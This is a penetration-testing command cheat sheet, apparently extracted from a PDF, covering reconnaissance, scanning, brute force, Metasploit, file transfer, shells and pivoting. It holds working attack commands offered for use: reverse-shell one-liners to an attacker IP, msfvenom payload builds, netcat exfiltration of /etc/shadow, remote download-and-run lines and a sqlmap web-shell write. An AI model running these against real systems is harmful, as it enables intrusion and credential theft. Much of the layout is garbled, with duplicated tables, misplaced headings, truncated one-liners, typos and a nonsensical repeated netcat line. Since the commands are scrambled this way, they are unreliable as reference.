

PENTEST DAILY OPS

Network & Web Penetration Testing Reference

SSH · Netcat · Nmap · Curl · Gobuster · Nikto · SQLMap
Burp Suite · Metasploit · Hydra · Hashcat · Wireshark · and more

Essential commands & workflows for daily offensive security operations

■ TABLE OF CONTENTS

- 01 Reconnaissance – Passive & Active
- 02 Port Scanning & Service Enumeration (Nmap)
- 03 SSH – Secure Shell Operations
- 04 Netcat – The Swiss Army Knife
- 05 Web Enumeration – Gobuster / FFUF / Dirb
- 06 Web Scanning – Nikto / Whatweb
- 07 HTTP Interaction – Curl & Wget
- 08 SQL Injection – SQLMap
- 09 Password Attacks – Hydra & Hashcat
- 10 Metasploit Framework – Daily Use
- 11 Wireshark & Tcpdump – Traffic Analysis
- 12 File Transfers – Target ↔ Attacker
- 13 Shells – Reverse, Bind & Upgrading
- 14 Post-Exploitation Essentials
- 15 Pivoting & Tunneling
- 16 Wordlists & Quick Reference

01 · RECONNAISSANCE – PASSIVE & ACTIVE

OSINT / Passive Recon

Gather intel without touching the target. Use public sources first.

<code>whois</code>	Domain registration, registrar, nameservers
<code>theHarvester</code>	Emails, subdomains, hosts from public sources
<code>Shodan.io</code>	Internet-connected device search engine
<code>crt.sh</code>	Certificate transparency – subdomain discovery

```
● whois target.com
  theHarvester -d target.com -b google,bing,linkedin
  curl 'https://crt.sh/?q=target.com&output=json' | jq '.[].name_value'
```

Google Dorks Quick Set

```
● site:target.com filetype:pdf
  site:target.com inurl:admin
  site:target.com intitle:"index of"
  site:target.com ext:sql | ext:bak | ext:conf
  "target.com" inurl:login
```

DNS Enumeration

```
● nslookup target.com
  dig target.com ANY +noall +answer
  dig axfr @ns1.target.com target.com      # Zone Transfer attempt
  dnsenum target.com
  dnsrecon -d target.com -t std
  subfinder -d target.com -o subdomains.txt
  amass enum -d target.com
```

02 · PORT SCANNING & SERVICE ENUM — NMAP

Core Scan Types

-sS	SYN Stealth scan (default, requires root)
-sT	TCP Connect scan (no root needed)
-sU	UDP scan (slow, important)
-sV	Service/version detection
-O	OS detection
-A	Aggressive: OS+version+scripts+traceroute
-p-	Scan all 65535 ports
-Pn	Skip host discovery (treat as up)
-n	No DNS resolution (faster)
--open	Show only open ports

Essential Nmap Workflows

-sS	SYN Stealth scan (default, requires root)
-sT	TCP Connect scan (no root needed)
-sU	UDP scan (slow, important)
-sV	Service/version detection
-O	OS detection
-A	Aggressive: OS+version+scripts+traceroute
-p-	Scan all 65535 ports
-Pn	Skip host discovery (treat as up)
-n	No DNS resolution (faster)
--open	Show only open ports

```
# Quick discovery sweep
nmap -sn 192.168.1.0/24
```

NSE Script Categories

```
# Stealthy full recon
nmap -sS -sV -O -p- --open -T4 -oA scan_full 10.10.10.1

# Fast top-1000 with scripts
nmap -sC -sV -T4 -oN scan.txt 10.10.10.1

# UDP common ports
```

--script default	Safe, commonly useful scripts
--script vuln	Known vulnerability checks
--script auth	Auth bypass / brute force
--script discovery	Network / service discovery
--script exploit	Exploitation scripts (careful!)

```
nmap --script smb-vuln* -p 445 10.10.10.1
nmap --script http-enum -p 80,443 10.10.10.1
Output formats: -oN (normal), -oX (xml), -oG (grep), -oA (all three)
nmap --script ftp-anon -p 21 10.10.10.1
nmap --script ssh-hostkey -p 22 10.10.10.1
```

03 · SSH – SECURE SHELL OPERATIONS

Basic Connections

```

● ssh user@10.10.10.1
ssh -p 2222 user@10.10.10.1          # Custom port
ssh -i id_rsa user@10.10.10.1       # Key-based auth
ssh -i id_rsa -o StrictHostKeyChecking=no user@host
ssh -v user@host                     # Verbose / debug

```

Key Management

```

● ssh-keygen -t rsa -b 4096 -f ./id_rsa
ssh-copy-id -i ~/.ssh/id_rsa.pub user@host
chmod 600 id_rsa
ssh-keygen -y -f id_rsa              # Extract public key
ssh-keygen -p -f id_rsa              # Change passphrase

```

Tunneling & Port Forwarding

Local Forward	ssh -L 8080:internal:80 user@jump
Remote Forward	ssh -R 4444:localhost:4444 user@vps
Dynamic (SOCKS)	ssh -D 1080 user@host
Jump Host	ssh -J jumpuser@jump:22 user@target
ProxyJump	ssh -o ProxyJump=user@jump user@target

```

● # Local – browse 10.10.10.5:80 via jump host
ssh -L 8080:10.10.10.5:80 user@jumphost -N

```

SSH Config (~/.ssh/config)

```

# Dynamic SOCKS5 proxy – use with proxychains
ssh -D 9050 user@host -N -f

# Remote – expose attacker listener through target
ssh -R 4444:127.0.0.1:4444 user@vps -N

```

```

● Host htb
  HostName 10.10.10.1
  User kali
  IdentityFile ~/.ssh/htb_rsa
  Port 22
  # Then just: ssh htb

```

■ **Cracking SSH keys:** `ssh2john id_rsa > hash.txt → john hash.txt --wordlist=rockyou.txt`

04 · NETCAT — THE SWISS ARMY KNIFE

Listening & Connecting

```

● nc -lvnp 4444          # Listen on 4444 (verbose, no DNS, port)
  nc 10.10.10.1 4444      # Connect to target
  nc -u 10.10.10.1 53     # UDP listener
  nc -w 3 10.10.10.1 80   # Timeout after 3s

```

Banner Grabbing & Recon

```

● nc -nv 10.10.10.1 21    # FTP banner
  nc -nv 10.10.10.1 22    # SSH banner
  nc -nv 10.10.10.1 25    # SMTP banner
  echo '' | nc -nv -w1 10.10.10.1 80 # HTTP banner

```

File Transfer via Netcat

```

● # Receiver (run first)
  nc -lvnp 9001 > received_file

# Sender
  nc -nv 10.10.14.1 9001 < file_to_send

# With compression
  tar czf - /dir | nc -lvnp 9001
  nc 10.10.14.1 9001 | tar xzf -

```

Bind & Reverse Shells

```

● # Bind shell — target listens, attacker connects
  nc -lvnp 4444 -e /bin/bash
  nc 10.10.10.1 4444

# Reverse shell — target connects back to attacker
# Attacker:
  nc -lvnp 4444
● nc -zv 10.10.10.1 20-80    # Scan port range
  nc -zv 10.10.10.1 22 80 443 # Scan specific ports
◆ Use nc (nmap's version) for SSL: nc -ssl -lvnp 4444
  nc -zu 10.10.10.1 53 161   # UDP scan

```

Port Scanning with Netcat

```

  nc -e /tmp/.X11-unix/X10 -lvnp 7000 -e /tmp/.X11-unix/X10 -e /tmp/.X11-unix/X10 -e /tmp/.X11-unix/X10 -e /tmp/.X11-unix/X10

```

05 · WEB ENUMERATION — GOBUSTER / FFUF / DIRB

Gobuster

dir	Directory/file bruteforce
dns	Subdomain bruteforce
vhost	Virtual host discovery
fuzz	Generic fuzzing

```
● # Directory bruteforce
gobuster dir -u http://10.10.10.1 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.10.10.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
```

FFUF (Fast Web Fuzzer)

```
# Subdomain bruteforce
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# VHost discovery
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# With auth / cookies
gobuster dir -u http://target.com -w wordlist.txt -H 'Cookie: session=abc123'
```

```
● # Directory fuzzing
ffuf -u http://10.10.10.1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
```

Dirb

```
# Parameter fuzzing
ffuf -u 'http://target.com/page.php?id=FUZZ' -w nums.txt
```

```
# POST body fuzzing
```

```
● dirb http://10.10.10.1
dirb http://10.10.10.1 /usr/share/dirb/wordlists/big.txt
dirb http://10.10.10.1 -X .php,.bak,.old
```

```
ffuf -u http://FUZZ.target.com -H host: FUZZ.target.com -w subdomains.txt
```

```
# Filter by status / size
ffuf -u http://target.com/FUZZ -w list.txt -fc 404 -fs 1234
```

06 · WEB SCANNING – NIKTO & WHATWEB

Nikto – Web Vulnerability Scanner

Nikto identifies misconfigs, outdated software, dangerous files, and headers.

```
● nikto -h http://10.10.10.1
  nikto -h http://10.10.10.1 -port 8080
  nikto -h http://10.10.10.1 -ssl
  nikto -h http://10.10.10.1 -o nikto_output.html -Format htm
  nikto -h http://10.10.10.1 -Tuning 1234578      # Select test types
  nikto -h http://10.10.10.1 -useproxy http://127.0.0.1:8080  # Through Burp
```

Tuning 1	Interesting file / seen in logs
Tuning 2	Misconfiguration
Tuning 3	Information disclosure
Tuning 4	Injection XSS/Script/HTML
Tuning 5	Remote file retrieval
Tuning 6	Denial of service
Tuning 8	Command execution

Whatweb – Technology Fingerprinting

```
● whatweb http://10.10.10.1
  whatweb http://10.10.10.1 -v      # Verbose
  whatweb http://10.10.10.1 --log json=out.json
  whatweb -a 3 http://10.10.10.1    # Aggression level
```

Wappalizer (CLI alternative)

```
● wappalizer http://target.com
  # Also use browser extension for passive fingerprinting
```

07 · HTTP INTERACTION — CURL & WGET

Curl Fundamentals

HTTP Methods & Payloads

```
● curl http://target.com                # GET request
  curl -i http://target.com             # Include response headers
  curl -H http://target.com             # HEAD only
  curl -v http://target.com             # Full verbose
  curl -k https://target.com            # Ignore SSL errors
  curl -L http://target.com             # Follow redirects
  curl -s http://target.com             # Silent mode
```

Proxy Through Burp Suite

```
● # POST with form data
  curl -X POST -d 'user=admin&pass=secret' http://target.com/login

# POST with JSON
  curl -X POST -H 'Content-Type: application/json' -d '{"user":"admin"}' http://target.com/api
```

Wget

```
● curl -x http://127.0.0.1:8080 -k http://target.com
  curl --proxy http://127.0.0.1:8080 -k https://target.com

curl -X DELETE http://target.com/resource/1

# Custom headers
  curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Cookie: session=abc' http://target.com

# Recursive download
● wget http://target.com/file.zip
  wget -r -np -l 2 http://target.com/                # Recursive download
  wget --mirror --convert-links http://target.com
  wget -q -O- http://target.com | grep password
```


■ 08 · SQL INJECTION – SQLMAP

SQLMap automates detection and exploitation of SQL injection flaws.

Basic Usage

```
● sqlmap -u 'http://target.com/page?id=1'
sqlmap -u 'http://target.com/page?id=1' --dbs          # List databases
sqlmap -u 'http://target.com/page?id=1' -D dbname --tables
sqlmap -u 'http://target.com/page?id=1' -D dbname -T users --columns
sqlmap -u 'http://target.com/page?id=1' -D dbname -T users --dump
```

POST / Cookie / Header Injection

```
● # POST form
sqlmap -u http://target.com/login --data='user=admin&pass=test'
```

Bypass & Evasion

```
# Cookie injection
sqlmap -u http://target.com/ --cookie='id=1' -p id

# Header injection
sqlmap -u http://target.com/ -H 'X-Forwarded-For: *'
```

```
● sqlmap -u 'http://target.com/?id=1' --tamper=space2comment
sqlmap -u 'http://target.com/?id=1' --tamper=between,randomcase
sqlmap -u 'http://target.com/?id=1' --level=5 --risk=3
sqlmap -u 'http://target.com/?id=1' --random-agent --delay=1
sqlmap -u 'http://target.com/?id=1' --proxy http://127.0.0.1:8080
```

OS Interaction

```
● sqlmap -u 'http://target.com/?id=1' --os-shell          # Interactive OS shell
■ sqlmap -u 'http://target.com/?id=1' --file-read /etc/passwd
  Always use --level and --risk carefully. Higher values may cause damage on production DBs.
  sqlmap -u 'http://target.com/?id=1' --file-write shell.php --file-dest /var/www/html/shell.php
```

09 · PASSWORD ATTACKS – HYDRA & HASHCAT

Hydra – Online Brute Force

-l / -L	Single login / login list
-p / -P	Single password / password list
-t	Parallel tasks per target (default 16)
-V	Verbose – show each attempt
-s	Custom port
-f	Stop after first valid pair

● # SSH

```
hydra -l admin -P rockyou.txt ssh://10.10.10.1
```

Hashcat – Offline Hash Cracking

HTTP POST login

```
hydra -l admin -P rockyou.txt 10.10.10.1 http-post-form '/login:user=^USER^&pass=^PASS^:Invalid credentials'
```

HTTP GET basic auth

```
hydra -l admin -P rockyou.txt http-get://10.10.10.1/admin
```

FTP

```
hydra -L users.txt -P rockyou.txt ftp://10.10.10.1
```

MD5

-m 0	MD5
-m 100	SHA1
-m 1000	NTLM (windows)
-m 1800	sha512crypt (\$6\$)
-m 3200	bcrypt
-m 1400	SHA256
-m 500	MD5crypt
-m 5600	NetNTLMv2

- # Dictionary attack
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Identify Hash Type

- # Rules-based attack
hashcat -m 1000 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

- # Mask (bruteforce) — 8 char lowercase+digits

- hash-identifier
hashid 'hash_string'
name-that-hash -t 'hash_string'

- hashcat -m 0 hash.txt -a 1 wordlist1.txt wordlist2.txt

- # Show cracked
hashcat -m 0 hash.txt --show

10 · METASPLOIT FRAMEWORK – DAILY USE

Launch & Database

```
msfdb init && msfconsole
msfconsole -q # Quiet start
db_status # Check DB connection
workspace -a htb_machine # Create workspace
db_nmap -sV -p- 10.10.10.1 # Nmap into DB
hosts # List known hosts
services # List known services
```

Finding & Using Modules

```
search eternalblue # Search modules
search type:exploit platform:windows smb
use exploit/windows/smb/ms17_010_eternalblue
info # Module details
show options # Required options
set RHOSTS 10.10.10.1
set LHOST 10.10.14.1
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run (or exploit)
```

Meterpreter Commands

sysinfo	System information
getuid	Current user
pid	Current process ID
ps	List processes
migrate PID	Migrate to another process
hashdump	Dump Windows password hashes
getsystem	Attempt privilege escalation

Post-Exploitation Modules

```
run post/windows/gather/hashdump
run post/multi/recon/local_exploit_suggester
run post/windows/manage/migrate
run post/multi/gather/env
```

Payloads with msfvenom

```
● # Windows reverse shell exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.1 LPORT=4444 -f raw -o shell.py
```

11 · TRAFFIC ANALYSIS – WIRESHARK & TCPDUMP

Tcpdump – Command Line Capture

```

● tcpdump -i eth0                                # Capture all traffic
  tcpdump -i eth0 -w capture.pcap                # Write to file
  tcpdump -r capture.pcap                        # Read from file
  tcpdump -i eth0 host 10.10.10.1
  tcpdump -i eth0 port 80
  tcpdump -i eth0 'tcp and port 80 and host 10.10.10.1'
  tcpdump -i eth0 -nn -X port 80                # No DNS, hex+ASCII
  tcpdump -i eth0 icmp
  tcpdump -i eth0 'tcp[13] == 0x12'             # SYN-ACK packets

```

Wireshark Display Filters

http	All HTTP traffic
http.request	HTTP requests only
http contains 'password'	HTTP with 'password' in body
tcp.port == 4444	Specific port
ip.addr == x.x.x.x	Traffic to/from IP
tcp.flags.syn == 1	SYN packets
ftp-data	FTP data transfers
dns	DNS queries/responses
ssl.handshake	TLS handshakes
frame contains 'admin'	Any frame with 'admin'

```

● # HTTP Basic Auth
  tcpdump -r capture.pcap -A | grep -i 'authorization'

# Strings from PCAP
strings capture.pcap | grep -i password

# Network miner (GUI) – Windows/Linux
# Dsniff – credential sniffer
dsniff -i eth0
urlsnarf -i eth0

```

12 · FILE TRANSFERS – TARGET ↔ ATTACKER

Python HTTP Server (Attacker Hosts)

```
python3 -m http.server 8000
python3 -m http.server 8000 --bind 0.0.0.0
```

Transfer Methods by OS

```
# Target downloads
wget http://10.10.14.1:8000/file.sh
curl http://10.10.14.1:8000/file.sh -o file.sh
```

Linux wget	wget http://attacker:8000/tool -O /tmp/tool
Linux curl	curl http://attacker:8000/tool -o /tmp/tool
Linux scp	scp user@attacker:/file /tmp/
Windows certutil	certutil.exe -urlcache -split -f http://attacker:8000/nc.exe nc.exe
Windows IEX	IEX(New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')
Windows Invoke	Invoke-WebRequest -Uri http://attacker/file -OutFile C:\\temp\\file
Windows bitsadmin	bitsadmin /transfer job http://attacker/nc.exe C:\\nc.exe

```
# Attacker receives
nc -lvp 9001 > loot.zip
# Target sends
nc 10.10.14.1 9001 < /etc/shadow
```

SMB Server (Impacket)

```
impacket-smbserver share $(pwd) -smb2support
impacket-smbserver share $(pwd) -smb2support -username user -password pass
```

Base64 Encode / Decode

```
# Windows target powershell
net use \\10.10.14.1\share
copy \\10.10.14.1\share\nc.exe .
```

```
# Encode file
base64 -w 0 file.sh
# Target decodes
echo 'BASE64STRING' | base64 -d > file.sh
# PowerShell
[System.Convert]::FromBase64String('BASE64') | Set-Content -Path file.exe -Encoding Byte
```

■ 13 · SHELLS – REVERSE, BIND & UPGRADING

Reverse Shell One-Liners

- # Bash

```
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
```

Shell Upgrade – TTY Stabilization

- # Python3

```
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.
```

- # PHP

```
php -r '$sock=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

- # PowerShell

```
powershell -nop -c "$c=New-Object Net.Sockets.TCPCClient('10.10.14.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%
```

- # Perl

```
perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,socka
```

- # Step 1 – Python PTY

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

rlwrap (Windows Shells)

- # Step 2 – Background & fix terminal

```
Ctrl+Z
```

- rlwrap nc -lvnp 4444 # Adds readline / history to shell

- ◆ Use *pwncat-cs* for fully featured shell: *pwncat-cs -lp 4444*

- # Step 3 – Set terminal size

```
export TERM=xterm
```

```
stty rows 38 columns 183
```

- # Alternative: script method

```
script /dev/null -c bash
```


14 · POST-EXPLOITATION ESSENTIALS

Linux Situational Awareness

```
● id && whoami && hostname
  uname -a && cat /etc/os-release
  ip a && ip route
  cat /etc/passwd | grep -v nologin
  cat /etc/shadow    (requires root)
  sudo -l            # Sudo privileges
  find / -perm -4000 2>/dev/null    # SUID binaries
  find / -writable -type f 2>/dev/null | grep -v proc
  crontab -l && cat /etc/crontab
  env && cat ~/.bash_history
  ss -tulnp          # Open ports
  ps aux             # Running processes
```

Windows Situational Awareness

```
● whoami /all
  net user && net localgroup administrators
  systeminfo
  ipconfig /all
  netstat -ano
  tasklist /SVC
  wmic service list brief
  reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
  schtasks /query /fo LIST /v
  dir /s *pass* *cred* *secret* 2>nul
```

Privilege Escalation Helpers

LinPEAS	<code>curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linp</code>
WinPEAS	Upload and run winPEASx64.exe
linEnum	linux-smart-enumeration (lse.sh)
GTFOBins	gtfobins.github.io – SUID/sudo escape reference
LOLBAS	lolbas-project.github.io – Windows living-off-land
Linux PE suggerer	perl linux-exploit-suggester.pl

■ 15 · PIVOTING & TUNNELING

ProxyChains

- # Edit /etc/proxychains4.conf
- # Add: socks5 127.0.0.1 9050

SSH Dynamic Tunneling (SOCKS)

- ```
proxychains nmap -sT -Pn -n 10.10.10.5 # Route through SOCKS
proxychains curl http://10.10.10.5
proxychains salman -u http://10.10.10.5/?id=1
```
- ssh -D 9050 user@pivot\_host -N -f
  - # Now proxychains routes through pivot\_host

### Chisel (Fast TCP Tunneling)

- # Attacker (server)
- chisel server --port 9001 --reverse

#### Ligolo-ng (Modern Pivoting)

- ```
# Target (client)
./chisel client 10.10.14.1:9001 R:socks          # Reverse SOCKS
./chisel client 10.10.14.1:9001 R:8080:127.0.0.1:80 # Port fwd
```

- # Attacker — start proxy
- ./proxy -selfcert -laddr 0.0.0.0:11601

Socat Port Forward

- ```
Target
./agent -connect 10.10.14.1:11601 -ignore-cert
```

- socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80
- # Forward :8080 on pivot to target:80

- ```
ip link set ligolo up
ip route add 192.168.1.0/24 dev ligolo
```

16 · WORDLISTS & QUICK REFERENCE

SecLists Key Paths

rockyou.txt	/usr/share/wordlists/rockyou.txt
common.txt	/usr/share/wordlists/dirb/common.txt
big.txt	/usr/share/wordlists/dirb/big.txt
Web content	/usr/share/seclists/Discovery/Web-Content/
DNS subdomains	/usr/share/seclists/Discovery/DNS/
Passwords	/usr/share/seclists/Passwords/
Username	/usr/share/seclists/Username/
Payloads (fuzzing)	/usr/share/seclists/Fuzzing/

admin:admin	Generic admin panels
admin:password	Routers, web apps
root:toor	Some IoT / routers
root:toor	Some Linux defaults
administrator:password	Windows / AD
sa:(blank)	MSSQL default SA
root:root	MySQL default

Useful One Liners

```
# Encode URL
python3 -c "import urllib.parse; print(urllib.parse.quote('payload<>'))"
```

IP / Network Quick Calc

```
# Decode base64
echo 'dGVzdA==' | base64 -d

# Generate password list
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o list.txt

# ipcalc 192.168.1.0/24
ipcalc 10.10.10.0/8

# Convert IP to hex
printf '%02X%02X%02X%02X\n' 192 168 1 1

# hex dump
xxd file.bin | head -20
```

